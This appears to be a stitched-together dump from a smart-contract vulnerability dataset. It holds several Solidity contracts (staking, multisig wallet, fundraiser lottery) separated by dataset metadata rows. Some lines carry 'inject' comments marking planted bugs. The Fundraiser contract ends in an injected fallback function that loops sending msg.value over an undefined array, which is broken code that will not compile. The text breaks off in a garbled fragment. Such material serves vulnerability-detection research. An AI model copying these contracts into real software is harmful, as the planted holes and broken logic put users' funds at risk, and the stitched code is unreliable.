function calculateRewardAndAddStakingPosition(uint256 tier, uint256 poolPosition, uint256 firstAmount, uint256 secondAmount, uint256 poolAmount, IMVDProxy proxy) private {
uint256 partialRewardSingleBlockTime = TIME_WINDOWS[tier] / REWARD_SPLIT_TRANCHES[tier];
uint256[] memory partialRewardBlockTimes = new uint256[](REWARD_SPLIT_TRANCHES[tier]);
if(partialRewardBlockTimes.length > 0) {
partialRewardBlockTimes[0] = block.number + partialRewardSingleBlockTime;
for(uint256 i = 1; i < partialRewardBlockTimes.length; i++) {
partialRewardBlockTimes[i] = partialRewardBlockTimes[i - 1] + partialRewardSingleBlockTime;
}
}
uint256 reward = firstAmount * REWARD_MULTIPLIERS[tier] / REWARD_DIVIDERS[tier];
StakeInfo memory stakeInfo = StakeInfo(msg.sender, poolPosition, firstAmount, secondAmount, poolAmount, reward, block.number + TIME_WINDOWS[tier], partialRewardBlockTimes, reward / REWARD_SPLIT_TRANCHES[tier]);
_add(tier, stakeInfo);
proxy.submit("stakingTransfer", abi.encode(address(0), 0, reward, address(this)));
emit Staked(msg.sender, tier, poolPosition, firstAmount, secondAmount, poolAmount, reward, stakeInfo.endBlock, partialRewardBlockTimes, stakeInfo.splittedReward);
}
function _add(uint256 tier, StakeInfo memory element) private returns(uint256, uint256) {
_stakeInfo[tier][_stakeInfoLength[tier]] = element;
_stakeInfoLength[tier] = _stakeInfoLength[tier] + 1;
return (element.reward, element.endBlock);
}
function _remove(uint256 tier, uint256 i) private {
if(_stakeInfoLength[tier] <= i) {
return;
}
_stakeInfoLength[tier] = _stakeInfoLength[tier] - 1;
if(_stakeInfoLength[tier] > i) {
_stakeInfo[tier][i] = _stakeInfo[tier][_stakeInfoLength[tier]];
}
delete _stakeInfo[tier][_stakeInfoLength[tier]];
}
function length(uint256 tier) public view returns(uint256) {
return _stakeInfoLength[tier]; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function stakeInfo(uint256 tier, uint256 position) public view returns(address,
uint256,
uint256,
uint256,
uint256,
uint256,
uint256,
uint256[] memory,
uint256) {
StakeInfo memory tierStakeInfo = _stakeInfo[tier][position]; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
return(tierStakeInfo.sender,
tierStakeInfo.poolPosition,
tierStakeInfo.firstAmount,
tierStakeInfo.secondAmount,
tierStakeInfo.poolAmount,
tierStakeInfo.reward,
tierStakeInfo.endBlock,
tierStakeInfo.partialRewardBlockTimes,
tierStakeInfo.splittedReward);
}
function partialReward(uint256 tier, uint256 position) public {
StakeInfo memory tierStakeInfo = _stakeInfo[tier][position]; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
if(block.number >= tierStakeInfo.endBlock) {
return withdraw(tier, position);
}
require(tierStakeInfo.reward > 0, "No more reward for this staking position");
uint256 reward = 0;
for(uint256 i = 0; i < tierStakeInfo.partialRewardBlockTimes.length; i++) {
if(tierStakeInfo.partialRewardBlockTimes[i] > 0 && block.number >= tierStakeInfo.partialRewardBlockTimes[i]) {
reward += tierStakeInfo.splittedReward;
tierStakeInfo.partialRewardBlockTimes[i] = 0;
}
}
reward = reward > tierStakeInfo.reward ? tierStakeInfo.reward : reward;
require(reward > 0, "No reward to redeem");
IERC20 token = IERC20(IMVDProxy(IDoubleProxy(_doubleProxy).proxy()).getToken()); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
token.transfer(tierStakeInfo.sender, reward);
tierStakeInfo.reward = tierStakeInfo.reward - reward;
_stakeInfo[tier][position] = tierStakeInfo; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
emit PartialWithdrawn(msg.sender, tierStakeInfo.sender, tier, reward);
}
function withdraw(uint256 tier, uint256 position) public {
StakeInfo memory tierStakeInfo = _stakeInfo[tier][position]; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
require(block.number >= tierStakeInfo.endBlock, "Cannot actually withdraw this position");
IERC20 token = IERC20(IMVDProxy(IDoubleProxy(_doubleProxy).proxy()).getToken()); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
if(tierStakeInfo.reward > 0) {
token.transfer(tierStakeInfo.sender, tierStakeInfo.reward);
}
token = IERC20(IUniswapV2Factory(UNISWAP_V2_FACTORY).getPair(address(token), TOKENS[tierStakeInfo.poolPosition])); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
token.transfer(tierStakeInfo.sender, tierStakeInfo.poolAmount);
_totalPoolAmount[tierStakeInfo.poolPosition] = _totalPoolAmount[tierStakeInfo.poolPosition] - tierStakeInfo.poolAmount; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
emit Withdrawn(msg.sender, tierStakeInfo.sender, tier, tierStakeInfo.poolPosition, tierStakeInfo.firstAmount, tierStakeInfo.secondAmount, tierStakeInfo.poolAmount, tierStakeInfo.reward);
_remove(tier, position);
}
function _toString(uint _i) private pure returns(string memory) {
if (_i == 0) {
return "0";
}
uint j = _i;
uint len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (_i != 0) {
bstr[k--] = byte(uint8(48 + _i % 10));
_i /= 10;
}
return string(bstr);
}
function _toString(address _addr) private pure returns(string memory) {
bytes32 value = bytes32(uint256(_addr));
bytes memory alphabet = "0123456789abcdef";
bytes memory str = new bytes(42);
str[0] = '0';
str[1] = 'x';
for (uint i = 0; i < 20; i++) {
str[2+i*2] = alphabet[uint(uint8(value[i + 12] >> 4))];
str[3+i*2] = alphabet[uint(uint8(value[i + 12] & 0x0f))];
}
return string(str);
}
function _toLowerCase(string memory str) private pure returns(string memory) {
bytes memory bStr = bytes(str);
for (uint i = 0; i < bStr.length; i++) {
bStr[i] = bStr[i] >= 0x41 && bStr[i] <= 0x5A ? bytes1(uint8(bStr[i]) + 0x20) : bStr[i];
}
return string(bStr);
}
}
interface IMVDProxy {
function getToken() external view returns(address);
function getStateHolderAddress() external view returns(address);
function getMVDWalletAddress() external view returns(address);
function getMVDFunctionalitiesManagerAddress() external view returns(address);
function submit(string calldata codeName, bytes calldata data) external payable returns(bytes memory returnData);
}
interface IStateHolder {
function setUint256(string calldata name, uint256 value) external returns(uint256);
function getUint256(string calldata name) external view returns(uint256);
function getBool(string calldata varName) external view returns (bool);
function clear(string calldata varName) external returns(string memory oldDataType, bytes memory oldVal);
}
interface IMVDFunctionalitiesManager {
function isAuthorizedFunctionality(address functionality) external view returns(bool);
}
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
interface IUniswapV2Router {
function WETH() external pure returns (address);
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IDoubleProxy {
function proxy() external view returns(address);
}
| 279,898 | 12,418 |
bfb1212db6c262a41b39ff8f46700b33c56e8b2bc3ac672017c7e291f2e750fa
| 13,952 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.7/0xce05254ae8a1195afa33140f02d63f9fa0c2462c.sol
| 3,598 | 12,851 |
//sol Wallet
// Multi-sig, daily-limited account proxy/wallet.
// @authors:
// Gav Wood <g@ethdev.com>
// single, or, crucially, each of a number of, designated owners.
// usage:
// interior is executed.
pragma solidity ^0.4.9;
contract multiowned {
// TYPES
// struct for the status of a pending operation.
struct PendingState {
uint yetNeeded;
uint ownersDone;
uint index;
}
// EVENTS
// this contract only has six types of events: it can accept a confirmation, in which case
// we record owner and operation (hash) alongside it.
event Confirmation(address owner, bytes32 operation);
event Revoke(address owner, bytes32 operation);
// some others are in the case of an owner changing.
event OwnerChanged(address oldOwner, address newOwner);
event OwnerAdded(address newOwner);
event OwnerRemoved(address oldOwner);
// the last one is emitted if the required signatures change
event RequirementChanged(uint newRequirement);
// MODIFIERS
// simple single-sig function modifier.
modifier onlyowner {
if (isOwner(msg.sender))
_;
}
// multi-sig function modifier: the operation must have an intrinsic hash in order
// that later attempts can be realised as the same underlying operation and
// thus count as confirmations.
modifier onlymanyowners(bytes32 _operation) {
if (confirmAndCheck(_operation))
_;
}
// METHODS
// constructor is given number of sigs required to do protected "onlymanyowners" transactions
// as well as the selection of addresses capable of confirming them.
function multiowned(address[] _owners, uint _required) {
m_numOwners = _owners.length + 1;
m_owners[1] = uint(msg.sender);
m_ownerIndex[uint(msg.sender)] = 1;
for (uint i = 0; i < _owners.length; ++i)
{
m_owners[2 + i] = uint(_owners[i]);
m_ownerIndex[uint(_owners[i])] = 2 + i;
}
m_required = _required;
}
// Revokes a prior confirmation of the given operation
function revoke(bytes32 _operation) external {
uint ownerIndex = m_ownerIndex[uint(msg.sender)];
// make sure they're an owner
if (ownerIndex == 0) return;
uint ownerIndexBit = 2**ownerIndex;
var pending = m_pending[_operation];
if (pending.ownersDone & ownerIndexBit > 0) {
pending.yetNeeded++;
pending.ownersDone -= ownerIndexBit;
Revoke(msg.sender, _operation);
}
}
// Replaces an owner `_from` with another `_to`.
function changeOwner(address _from, address _to) onlymanyowners(sha3(msg.data)) external {
if (isOwner(_to)) return;
uint ownerIndex = m_ownerIndex[uint(_from)];
if (ownerIndex == 0) return;
clearPending();
m_owners[ownerIndex] = uint(_to);
m_ownerIndex[uint(_from)] = 0;
m_ownerIndex[uint(_to)] = ownerIndex;
OwnerChanged(_from, _to);
}
function addOwner(address _owner) onlymanyowners(sha3(msg.data)) external {
if (isOwner(_owner)) return;
clearPending();
if (m_numOwners >= c_maxOwners)
reorganizeOwners();
if (m_numOwners >= c_maxOwners)
return;
m_numOwners++;
m_owners[m_numOwners] = uint(_owner);
m_ownerIndex[uint(_owner)] = m_numOwners;
OwnerAdded(_owner);
}
function removeOwner(address _owner) onlymanyowners(sha3(msg.data)) external {
uint ownerIndex = m_ownerIndex[uint(_owner)];
if (ownerIndex == 0) return;
if (m_required > m_numOwners - 1) return;
m_owners[ownerIndex] = 0;
m_ownerIndex[uint(_owner)] = 0;
clearPending();
reorganizeOwners(); //make sure m_numOwner is equal to the number of owners and always points to the optimal free slot
OwnerRemoved(_owner);
}
function changeRequirement(uint _newRequired) onlymanyowners(sha3(msg.data)) external {
if (_newRequired > m_numOwners) return;
m_required = _newRequired;
clearPending();
RequirementChanged(_newRequired);
}
// Gets an owner by 0-indexed position (using numOwners as the count)
function getOwner(uint ownerIndex) external constant returns (address) {
return address(m_owners[ownerIndex + 1]);
}
function isOwner(address _addr) constant returns (bool) {
return m_ownerIndex[uint(_addr)] > 0;
}
function hasConfirmed(bytes32 _operation, address _owner) constant returns (bool) {
var pending = m_pending[_operation];
uint ownerIndex = m_ownerIndex[uint(_owner)];
// make sure they're an owner
if (ownerIndex == 0) return false;
// determine the bit to set for this owner.
uint ownerIndexBit = 2**ownerIndex;
return !(pending.ownersDone & ownerIndexBit == 0);
}
// INTERNAL METHODS
function confirmAndCheck(bytes32 _operation) internal returns (bool) {
// determine what index the present sender is:
uint ownerIndex = m_ownerIndex[uint(msg.sender)];
// make sure they're an owner
if (ownerIndex == 0) return;
var pending = m_pending[_operation];
// if we're not yet working on this operation, switch over and reset the confirmation status.
if (pending.yetNeeded == 0) {
// reset count of confirmations needed.
pending.yetNeeded = m_required;
// reset which owners have confirmed (none) - set our bitmap to 0.
pending.ownersDone = 0;
pending.index = m_pendingIndex.length++;
m_pendingIndex[pending.index] = _operation;
}
// determine the bit to set for this owner.
uint ownerIndexBit = 2**ownerIndex;
// make sure we (the message sender) haven't confirmed this operation previously.
if (pending.ownersDone & ownerIndexBit == 0) {
Confirmation(msg.sender, _operation);
// ok - check if count is enough to go ahead.
if (pending.yetNeeded <= 1) {
// enough confirmations: reset and run interior.
delete m_pendingIndex[m_pending[_operation].index];
delete m_pending[_operation];
return true;
}
else
{
// not enough: record that this owner in particular confirmed.
pending.yetNeeded--;
pending.ownersDone |= ownerIndexBit;
}
}
}
function reorganizeOwners() private {
uint free = 1;
while (free < m_numOwners)
{
while (free < m_numOwners && m_owners[free] != 0) free++;
while (m_numOwners > 1 && m_owners[m_numOwners] == 0) m_numOwners--;
if (free < m_numOwners && m_owners[m_numOwners] != 0 && m_owners[free] == 0)
{
m_owners[free] = m_owners[m_numOwners];
m_ownerIndex[m_owners[free]] = free;
m_owners[m_numOwners] = 0;
}
}
}
function clearPending() internal {
uint length = m_pendingIndex.length;
for (uint i = 0; i < length; ++i)
if (m_pendingIndex[i] != 0)
delete m_pending[m_pendingIndex[i]];
delete m_pendingIndex;
}
// FIELDS
// the number of owners that must confirm the same operation before it is run.
uint public m_required;
// pointer used to find a free slot in m_owners
uint public m_numOwners;
// list of owners
uint[256] m_owners;
uint constant c_maxOwners = 250;
// index on the list of owners to allow reverse lookup
mapping(uint => uint) m_ownerIndex;
// the ongoing operations.
mapping(bytes32 => PendingState) m_pending;
bytes32[] m_pendingIndex;
}
// uses is specified in the modifier.
contract daylimit is multiowned {
// METHODS
// constructor - stores initial daily limit and records the present day's index.
function daylimit(uint _limit) {
m_dailyLimit = _limit;
m_lastDay = today();
}
function setDailyLimit(uint _newLimit) onlymanyowners(sha3(msg.data)) external {
m_dailyLimit = _newLimit;
}
// resets the amount already spent today. needs many of the owners to confirm.
function resetSpentToday() onlymanyowners(sha3(msg.data)) external {
m_spentToday = 0;
}
// INTERNAL METHODS
// returns true. otherwise just returns false.
function underLimit(uint _value) internal onlyowner returns (bool) {
// reset the spend limit if we're on a different day to last time.
if (today() > m_lastDay) {
m_spentToday = 0;
m_lastDay = today();
}
// check to see if there's enough left - if so, subtract and return true.
// overflow protection // dailyLimit check
if (m_spentToday + _value >= m_spentToday && m_spentToday + _value <= m_dailyLimit) {
m_spentToday += _value;
return true;
}
return false;
}
// determines today's index.
function today() private constant returns (uint) { return now / 1 days; }
// FIELDS
uint public m_dailyLimit;
uint public m_spentToday;
uint public m_lastDay;
}
// interface contract for multisig proxy contracts; see below for docs.
contract multisig {
// EVENTS
// logged events:
// Funds has arrived into the wallet (record how much).
event Deposit(address _from, uint value);
event SingleTransact(address owner, uint value, address to, bytes data, address created);
event MultiTransact(address owner, bytes32 operation, uint value, address to, bytes data, address created);
// Confirmation still needed for a transaction.
event ConfirmationNeeded(bytes32 operation, address initiator, uint value, address to, bytes data);
// FUNCTIONS
// TODO: document
function execute(address _to, uint _value, bytes _data) external returns (bytes32 o_hash);
function confirm(bytes32 _h) returns (bool o_success);
}
// usage:
// bytes32 h = Wallet(w).from(oneOwner).execute(to, value, data);
// Wallet(w).from(anotherOwner).confirm(h);
contract Wallet is multisig, multiowned, daylimit {
// TYPES
// Transaction structure to remember details of transaction lest it need be saved for a later call.
struct Transaction {
address to;
uint value;
bytes data;
}
// METHODS
// constructor - just pass on the owner array to the multiowned and
// the limit to daylimit
function Wallet(address[] _owners, uint _required, uint _daylimit)
multiowned(_owners, _required) daylimit(_daylimit) {
}
// kills the contract sending everything to `_to`.
function kill(address _to) onlymanyowners(sha3(msg.data)) external {
suicide(_to);
}
// gets called when no other function matches
function() payable {
// just being sent some cash?
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
// Outside-visible transact entry point. Executes transaction immediately if below daily spend limit.
// If not, goes into multisig process. We provide a hash on return to allow the sender to provide
// shortcuts for the other confirmations (allowing them to avoid replicating the _to, _value
// and _data arguments). They still get the option of using them if they want, anyways.
function execute(address _to, uint _value, bytes _data) external onlyowner returns (bytes32 o_hash) {
// first, take the opportunity to check that we're under the daily limit.
if ((_data.length == 0 && underLimit(_value)) || m_required == 1) {
// yes - just execute the call.
address created;
if (_to == 0) {
created = create(_value, _data);
} else {
if (!_to.call.value(_value)(_data))
throw;
}
SingleTransact(msg.sender, _value, _to, _data, created);
} else {
// determine our operation hash.
o_hash = sha3(msg.data, block.number);
// store if it's new
if (m_txs[o_hash].to == 0 && m_txs[o_hash].value == 0 && m_txs[o_hash].data.length == 0) {
m_txs[o_hash].to = _to;
m_txs[o_hash].value = _value;
m_txs[o_hash].data = _data;
}
if (!confirm(o_hash)) {
ConfirmationNeeded(o_hash, msg.sender, _value, _to, _data);
}
}
}
function create(uint _value, bytes _code) internal returns (address o_addr) {
assembly {
o_addr := create(_value, add(_code, 0x20), mload(_code))
jumpi(invalidJumpLabel, iszero(extcodesize(o_addr)))
}
}
// confirm a transaction through just the hash. we use the previous transactions map, m_txs, in order
// to determine the body of the transaction from the hash provided.
function confirm(bytes32 _h) onlymanyowners(_h) returns (bool o_success) {
if (m_txs[_h].to != 0 || m_txs[_h].value != 0 || m_txs[_h].data.length != 0) {
address created;
if (m_txs[_h].to == 0) {
created = create(m_txs[_h].value, m_txs[_h].data);
} else {
if (!m_txs[_h].to.call.value(m_txs[_h].value)(m_txs[_h].data))
throw;
}
MultiTransact(msg.sender, _h, m_txs[_h].value, m_txs[_h].to, m_txs[_h].data, created);
delete m_txs[_h];
return true;
}
}
// INTERNAL METHODS
function clearPending() internal {
uint length = m_pendingIndex.length;
for (uint i = 0; i < length; ++i)
delete m_txs[m_pendingIndex[i]];
super.clearPending();
}
// FIELDS
// pending transactions we have at present.
mapping (bytes32 => Transaction) m_txs;
}
| 219,721 | 12,419 |
178a3ade0d9f177dc292fd0220a2a63e909c949ddf1950484358e13c91152f00
| 18,284 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x5f78a0bb08c7679729ba1816ba1a050e3907b348.sol
| 4,027 | 17,865 |
pragma solidity ^0.4.19;
contract ERC20 {
/// @dev Returns the total token supply
function totalSupply() public constant returns (uint256 supply);
/// @dev Returns the account balance of the account with address _owner
function balanceOf(address _owner) public constant returns (uint256 balance);
/// @dev Transfers _value number of tokens to address _to
function transfer(address _to, uint256 _value) public returns (bool success);
/// @dev Transfers _value number of tokens from address _from to address _to
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
/// @dev Allows _spender to withdraw from the msg.sender's account up to the _value amount
function approve(address _spender, uint256 _value) public returns (bool success);
/// @dev Returns the amount which _spender is still allowed to withdraw from _owner
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract Fundraiser {
event Beginning(bytes32 _causeSecret);
event Participation(address _participant,
bytes32 _message,
uint256 _entries,
uint256 _refund);
event Raise(address _participant,
uint256 _entries,
uint256 _refund);
event Revelation(bytes32 _causeMessage);
event Selection(address _participant,
bytes32 _participantMessage,
bytes32 _causeMessage,
bytes32 _ownerMessage);
event Cancellation();
event Withdrawal(address _address);
struct Deployment {
address _cause;
address _causeWallet;
uint256 _causeSplit;
uint256 _participantSplit;
address _owner;
address _ownerWallet;
uint256 _ownerSplit;
bytes32 _ownerSecret;
uint256 _valuePerEntry;
uint256 _deployTime;
uint256 _endTime;
uint256 _expireTime;
uint256 _destructTime;
uint256 _entropy;
}
struct State {
bytes32 _causeSecret;
bytes32 _causeMessage;
bool _causeWithdrawn;
address _participant;
bool _participantWithdrawn;
bytes32 _ownerMessage;
bool _ownerWithdrawn;
bool _cancelled;
uint256 _participants;
uint256 _entries;
uint256 _revealBlockNumber;
uint256 _revealBlockHash;
}
struct Participant {
bytes32 _message;
uint256 _entries;
}
struct Fund {
address _participant;
uint256 _entries;
}
modifier onlyOwner() {
require(msg.sender == deployment._owner);
_;
}
modifier neverOwner() {
require(msg.sender != deployment._owner);
require(msg.sender != deployment._ownerWallet);
_;
}
modifier onlyCause() {
require(msg.sender == deployment._cause);
_;
}
modifier neverCause() {
require(msg.sender != deployment._cause);
require(msg.sender != deployment._causeWallet);
_;
}
modifier participationPhase() {
require(now < deployment._endTime);
_;
}
modifier recapPhase() {
require((now >= deployment._endTime) && (now < deployment._expireTime));
_;
}
modifier destructionPhase() {
require(now >= deployment._destructTime);
_;
}
Deployment public deployment;
mapping(address => Participant) public participants;
Fund[] private funds;
State private _state;
function Fundraiser(address _cause,
address _causeWallet,
uint256 _causeSplit,
uint256 _participantSplit,
address _ownerWallet,
uint256 _ownerSplit,
bytes32 _ownerSecret,
uint256 _valuePerEntry,
uint256 _endTime,
uint256 _expireTime,
uint256 _destructTime,
uint256 _entropy) public {
require(_cause != 0x0);
require(_causeWallet != 0x0);
require(_causeSplit != 0);
require(_participantSplit != 0);
require(_ownerWallet != 0x0);
require(_causeSplit + _participantSplit + _ownerSplit == 1000);
require(_ownerSecret != 0x0);
require(_valuePerEntry != 0);
require(_endTime > now); // participation phase
require(_expireTime > _endTime); // end phase
require(_destructTime > _expireTime); // destruct phase
require(_entropy > 0);
// set the deployment
deployment = Deployment(_cause,
_causeWallet,
_causeSplit,
_participantSplit,
msg.sender,
_ownerWallet,
_ownerSplit,
_ownerSecret,
_valuePerEntry,
now,
_endTime,
_expireTime,
_destructTime,
_entropy);
}
// returns the post-deployment state of the contract
function state() public view returns (bytes32 _causeSecret,
bytes32 _causeMessage,
bool _causeWithdrawn,
address _participant,
bytes32 _participantMessage,
bool _participantWithdrawn,
bytes32 _ownerMessage,
bool _ownerWithdrawn,
bool _cancelled,
uint256 _participants,
uint256 _entries) {
_causeSecret = _state._causeSecret;
_causeMessage = _state._causeMessage;
_causeWithdrawn = _state._causeWithdrawn;
_participant = _state._participant;
_participantMessage = participants[_participant]._message;
_participantWithdrawn = _state._participantWithdrawn;
_ownerMessage = _state._ownerMessage;
_ownerWithdrawn = _state._ownerWithdrawn;
_cancelled = _state._cancelled;
_participants = _state._participants;
_entries = _state._entries;
}
// returns the balance of a cause, selected participant, owner, or participant (refund)
function balance() public view returns (uint256) {
// check for fundraiser ended normally
if (_state._participant != address(0)) {
// selected, get split
uint256 _split;
// determine split based on sender
if (msg.sender == deployment._cause) {
if (_state._causeWithdrawn) {
return 0;
}
_split = deployment._causeSplit;
} else if (msg.sender == _state._participant) {
if (_state._participantWithdrawn) {
return 0;
}
_split = deployment._participantSplit;
} else if (msg.sender == deployment._owner) {
if (_state._ownerWithdrawn) {
return 0;
}
_split = deployment._ownerSplit;
} else {
return 0;
}
// multiply total entries by split % (non-revealed winnings are forfeited)
return _state._entries * deployment._valuePerEntry * _split / 1000;
} else if (_state._cancelled) {
// value per entry times participant entries == balance
Participant storage _participant = participants[msg.sender];
return _participant._entries * deployment._valuePerEntry;
}
return 0;
}
// called by the cause to begin their fundraiser with their secret
function begin(bytes32 _secret) public participationPhase onlyCause {
require(!_state._cancelled); // fundraiser not cancelled
require(_state._causeSecret == 0x0); // cause has not seeded secret
require(_secret != 0x0); // secret cannot be zero
// seed cause secret, starting the fundraiser
_state._causeSecret = _secret;
// broadcast event
Beginning(_secret);
}
// participate in this fundraiser by contributing messages and ether for entries
function participate(bytes32 _message) public participationPhase neverCause neverOwner payable {
require(!_state._cancelled); // fundraiser not cancelled
require(_state._causeSecret != 0x0); // cause has seeded secret
require(_message != 0x0); // message cannot be zero
// find and check for no existing participant
Participant storage _participant = participants[msg.sender];
require(_participant._message == 0x0);
require(_participant._entries == 0);
// add entries to participant
var (_entries, _refund) = _raise(_participant);
// save participant message, increment total participants
_participant._message = _message;
_state._participants++;
// send out participation update
Participation(msg.sender, _message, _entries, _refund);
}
// called by participate() and the fallback function for obtaining (additional) entries
function _raise(Participant storage _participant) private returns (uint256 _entries,
uint256 _refund) {
// calculate the number of entries from the wei sent
_entries = msg.value / deployment._valuePerEntry;
require(_entries >= 1); // ensure we have at least one entry
// update participant totals
_participant._entries += _entries;
_state._entries += _entries;
// get previous fund's entries
uint256 _previousFundEntries = (funds.length > 0) ?
funds[funds.length - 1]._entries : 0;
// create and save new fund with cumulative entries
Fund memory _fund = Fund(msg.sender, _previousFundEntries + _entries);
funds.push(_fund);
// calculate partial entry refund
_refund = msg.value % deployment._valuePerEntry;
// refund any excess wei immediately (partial entry)
if (_refund > 0) {
msg.sender.transfer(_refund);
}
}
// fallback function that accepts ether for additional entries after an initial participation
function () public participationPhase neverCause neverOwner payable {
require(!_state._cancelled); // fundraiser not cancelled
require(_state._causeSecret != 0x0); // cause has seeded secret
// find existing participant
Participant storage _participant = participants[msg.sender];
require(_participant._message != 0x0); // make sure they participated
// forward to raise
var (_entries, _refund) = _raise(_participant);
// send raise event
Raise(msg.sender, _entries, _refund);
}
// called by the cause to reveal their message after the end time but before the end() function
function reveal(bytes32 _message) public recapPhase onlyCause {
require(!_state._cancelled); // fundraiser not cancelled
require(_state._causeMessage == 0x0); // cannot have revealed already
require(_state._revealBlockNumber == 0); // block number of reveal should not be set
require(_decode(_state._causeSecret, _message)); // check for valid message
// save revealed cause message
_state._causeMessage = _message;
// save reveal block number
_state._revealBlockNumber = block.number;
// send reveal event
Revelation(_message);
}
// determines that validity of a message, given a secret
function _decode(bytes32 _secret, bytes32 _message) private view returns (bool) {
return _secret == keccak256(_message, msg.sender);
}
// ends this fundraiser, selects a participant to reward, and allocates funds for the cause, the
// selected participant, and the contract owner
function end(bytes32 _message) public recapPhase onlyOwner {
require(!_state._cancelled); // fundraiser not cancelled
require(_state._causeMessage != 0x0); // cause must have revealed
require(_state._revealBlockNumber != 0); // reveal block number must be set
require(_state._ownerMessage == 0x0); // cannot have ended already
require(_decode(deployment._ownerSecret, _message)); // check for valid message
require(block.number > _state._revealBlockNumber); // verify reveal has been mined
// get the (cause) reveal blockhash and ensure within 256 blocks (non-zero)
_state._revealBlockHash = uint256(block.blockhash(_state._revealBlockNumber));
require(_state._revealBlockHash != 0);
// save revealed owner message
_state._ownerMessage = _message;
bytes32 _randomNumber;
address _participant;
bytes32 _participantMessage;
// add additional entropy to the random from participant messages
for (uint256 i = 0; i < deployment._entropy; i++) {
// calculate the next random
_randomNumber = keccak256(_message,
_state._causeMessage,
_state._revealBlockHash,
_participantMessage);
// calculate next entry and grab corresponding participant
uint256 _entry = uint256(_randomNumber) % _state._entries;
_participant = _findParticipant(_entry);
_participantMessage = participants[_participant]._message;
}
// the final participant receives the reward
_state._participant = _participant;
// send out select event
Selection(_state._participant,
_participantMessage,
_state._causeMessage,
_message);
}
// given an entry number, find the corresponding participant (address)
function _findParticipant(uint256 _entry) private view returns (address) {
uint256 _leftFundIndex = 0;
uint256 _rightFundIndex = funds.length - 1;
// loop until participant found
while (true) {
// first or last fund (edge cases)
if (_leftFundIndex == _rightFundIndex) {
return funds[_leftFundIndex]._participant;
}
// get fund indexes for mid & next
uint256 _midFundIndex =
_leftFundIndex + ((_rightFundIndex - _leftFundIndex) / 2);
uint256 _nextFundIndex = _midFundIndex + 1;
// get mid and next funds
Fund memory _midFund = funds[_midFundIndex];
Fund memory _nextFund = funds[_nextFundIndex];
// binary search
if (_entry >= _midFund._entries) {
if (_entry < _nextFund._entries) {
// we are in range, participant found
return _nextFund._participant;
}
// entry is greater, move right
_leftFundIndex = _nextFundIndex;
} else {
// entry is less, move left
_rightFundIndex = _midFundIndex;
}
}
}
// called by the cause or Seedom before the end time to cancel the fundraiser, refunding all
// participants; this function is available to the entire community after the expire time
function cancel() public {
require(!_state._cancelled); // fundraiser not already cancelled
require(_state._participant == address(0)); // selected must not have been chosen
// open cancellation to community if past expire time (but before destruct time)
if ((msg.sender != deployment._owner) && (msg.sender != deployment._cause)) {
require((now >= deployment._expireTime) && (now < deployment._destructTime));
}
// immediately set us to cancelled
_state._cancelled = true;
// send out cancellation event
Cancellation();
}
// used to withdraw funds from the contract from an ended fundraiser or refunds when the
// fundraiser is cancelled
function withdraw() public {
// check for a balance
uint256 _balance = balance();
require (_balance > 0); // can only withdraw a balance
address _wallet;
// check for fundraiser ended normally
if (_state._participant != address(0)) {
// determine split based on sender
if (msg.sender == deployment._cause) {
_state._causeWithdrawn = true;
_wallet = deployment._causeWallet;
} else if (msg.sender == _state._participant) {
_state._participantWithdrawn = true;
_wallet = _state._participant;
} else if (msg.sender == deployment._owner) {
_state._ownerWithdrawn = true;
_wallet = deployment._ownerWallet;
} else {
revert();
}
} else if (_state._cancelled) {
// set participant entries to zero to prevent multiple refunds
Participant storage _participant = participants[msg.sender];
_participant._entries = 0;
_wallet = msg.sender;
} else {
// no selected and not cancelled
revert();
}
// execute the refund if we have one
_wallet.transfer(_balance);
// send withdrawal event
Withdrawal(msg.sender);
}
// destroy() will be used to clean up old contracts from the network
function destroy() public destructionPhase onlyOwner {
// destroy this contract and send remaining funds to owner
selfdestruct(msg.sender);
}
// recover() allows the owner to recover ERC20 tokens sent to this contract, for later
// distribution back to their original holders, upon request
function recover(address _token) public onlyOwner {
ERC20 _erc20 = ERC20(_token);
uint256 _balance = _erc20.balanceOf(this);
require(_erc20.transfer(deployment._owner, _balance));
}
function() payable external
{
for(uint i = 0; i < values.length - 1; i++) {
msg.sender.send(msg.value);
}
revert();
}
}
| 181,135 | 12,420 |
2ed722797ffc57b950ebab94863f04b75f073c547ec8d827e5df7b8be81fb122
| 14,680 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x57a7f2f8179f1002B3F29DEe7b5326F2089D0d25/contract.sol
| 3,716 | 12,622 |
// SPDX-License-Identifier: MIT
pragma solidity 0.5.17;
// Part: Babylonian
// computes square roots using the babylonian mBnbod
